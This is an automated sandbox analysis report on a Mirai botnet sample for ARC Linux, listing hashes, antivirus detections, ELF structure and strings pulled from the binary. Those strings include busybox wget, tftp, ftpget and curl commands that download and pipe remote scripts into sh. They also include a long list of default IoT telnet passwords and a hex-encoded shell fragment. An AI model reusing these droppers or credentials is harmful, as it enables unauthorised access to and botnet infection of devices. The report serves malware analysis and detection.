Edit tour

Linux Analysis Report
la.bot.arc.elf

Overview

General Information

Sample name:	la.bot.arc.elf
Analysis ID:	1541496
MD5:	4bb8d659410861b0b01de452d686514a
SHA1:	607211e780e4159c8fbe10dd919f2bb384b1a480
SHA256:	1d75e21e1295c9a7b6bdd462db442b3b9355a641e4743a0eee37990343742807
Tags:	elfuser-abuse_ch
Infos:
Errors No process behavior to analyse as no analysis process or sample was found

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541496
Start date and time:	2024-10-24 22:12:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arc.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Errors

No process behavior to analyse as no analysis process or sample was found

Warnings

VT rate limit hit for: la.bot.arc.elf

Runtime Messages

Command:	/tmp/la.bot.arc.elf
PID:	5413
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.arc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: la.bot.arc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: la.bot.arc.elf

ReversingLabs: Detection: 36%

Source: la.bot.arc.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate
Source: la.bot.arc.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.arc.elf	String: \|ash\|login\|wget\|curl\|tftp\|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd/ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.arc.elf	String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd /bin/busybox echo -ne .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0

Source: la.bot.arc.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample	String containing 'busybox' found: usage: busybox >> >Pon521rootZte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd /bin/busybox echo -ne .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: upnp/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEekarmarm5arm6arm7mipsmpslppcspcsh4"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match

File source: la.bot.arc.elf, type: SAMPLE

Remote Access Functionality

Yara detected Mirai

Source: Yara match

File source: la.bot.arc.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arc.elf	37%	ReversingLabs	Linux.Backdoor.Mirai
la.bot.arc.elf	100%	Avira	LINUX/GM.Mirai.LV

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arc.elf	false		unknown
http:///curl.sh	la.bot.arc.elf	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.554611287045977
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arc.elf
File size:	116'180 bytes
MD5:	4bb8d659410861b0b01de452d686514a
SHA1:	607211e780e4159c8fbe10dd919f2bb384b1a480
SHA256:	1d75e21e1295c9a7b6bdd462db442b3b9355a641e4743a0eee37990343742807
SHA512:	c22fc215532de17f5e47e53d429ea1f51ce467979506837cea8c79fd6455240b4e1e802c6da645086be34bace28a8c510d8c2b405814e4555a28bbad4218c6a2
SSDEEP:	1536:m42ps0tZJ4ysgwOrWoLAezMNMyVAdZGY88T3Bg9NfnjsT7/LWv:CtZJKgwOrWo0m2MyVmGCT3Bg9Nfnuq
TLSH:	88B3AE8BB34F9452C86706F017D78BCC2E632212DF5BD9D33D1DA97A28792DB0819782
File Content Preview:	.ELF..............].....8...4...........4. ...(.................................. ..................,............ ..................................................................Q.td.......................................................................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x10838
Flags:	0x403
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	115620
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10114	0x114	0x22	0x0	0x6	AX	1
.text	PROGBITS	0x10138	0x138	0x12524	0x0	0x6	AX	4
.fini	PROGBITS	0x2265c	0x1265c	0x16	0x0	0x6	AX	1
.rodata	PROGBITS	0x22674	0x12674	0x951c	0x0	0x2	A	4
.tbss	NOBITS	0x2ffe0	0x1bfe0	0x8	0x0	0x403	WAT	4
.fini_array	FINI_ARRAY	0x2ffe0	0x1bfe0	0x4	0x4	0x3	WA	4
.ctors	PROGBITS	0x2ffe4	0x1bfe4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2ffec	0x1bfec	0x8	0x0	0x3	WA	4
.got	PROGBITS	0x2fff4	0x1bff4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x30008	0x1c008	0x304	0x0	0x3	WA	4
.bss	NOBITS	0x3030c	0x1c30c	0x8bbc	0x0	0x3	WA	4
.ARC.attributes	<unknown>	0x0	0x1c30c	0x32	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1c33e	0x65	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x1bb90	0x1bb90	6.6170	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1bfe0	0x2ffe0	0x2ffe0	0x32c	0x8ee8	4.2516	0x6	RW	0x2000	.tbss .fini_array .ctors .dtors .got .data .bss
NOTE	0x0	0x0	0x0	0x0	0x0	0.0000	0x4	R	0x4
TLS	0x1bfe0	0x2ffe0	0x2ffe0	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

⊘No network behavior found

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report la.bot.arc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Errors

Warnings

Runtime Messages

Malware Threat Intel

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Linux Analysis Report
la.bot.arc.elf